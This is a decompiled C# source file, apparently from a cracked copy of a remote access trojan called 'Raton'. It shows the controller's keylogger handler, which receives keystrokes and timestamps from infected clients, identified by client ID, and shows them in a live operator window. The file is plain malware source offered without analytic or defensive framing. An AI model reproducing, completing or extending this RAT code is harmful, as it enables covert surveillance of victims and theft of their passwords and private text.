44 lines
1.6 KiB
C#
44 lines
1.6 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Server.Handlers.HandleKeylogger
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
|
|
|
using Raton.Forms.ClientForms.Monitor;
|
|
using Server.Connection;
|
|
using Stuff;
|
|
using System;
|
|
using System.Windows.Forms;
|
|
|
|
#nullable disable
|
|
namespace Server.Handlers;
|
|
|
|
internal class HandleKeylogger
|
|
{
|
|
public HandleKeylogger(SillyClient SillyClient, Unpack msgUnpack)
|
|
{
|
|
ratonKeylogger keyloggerForm = Application.OpenForms["Keylogger | Client ID: " + msgUnpack.GetAsString("UID")] as ratonKeylogger;
|
|
if (keyloggerForm == null)
|
|
return;
|
|
if (keyloggerForm.SillyClient == null)
|
|
keyloggerForm.SillyClient = SillyClient;
|
|
keyloggerForm.Invoke((Delegate) (() =>
|
|
{
|
|
string asString1 = msgUnpack.GetAsString("Keys");
|
|
string asString2 = msgUnpack.GetAsString("Timestamp");
|
|
if (asString1.Contains("[WINDOW]"))
|
|
{
|
|
string text = asString1.Replace("[WINDOW]", asString2 + " - ").Replace("[/WINDOW]", asString2 + " - ");
|
|
if (keyloggerForm.textBox1.TextLength > 0)
|
|
keyloggerForm.textBox1.AppendText("\r\n\r\n");
|
|
keyloggerForm.textBox1.AppendText(text);
|
|
keyloggerForm.textBox1.AppendText("\r\n");
|
|
}
|
|
else
|
|
keyloggerForm.textBox1.AppendText(asString1);
|
|
keyloggerForm.textBox1.SelectionStart = keyloggerForm.textBox1.TextLength;
|
|
keyloggerForm.textBox1.ScrollToCaret();
|
|
}));
|
|
}
|
|
}
|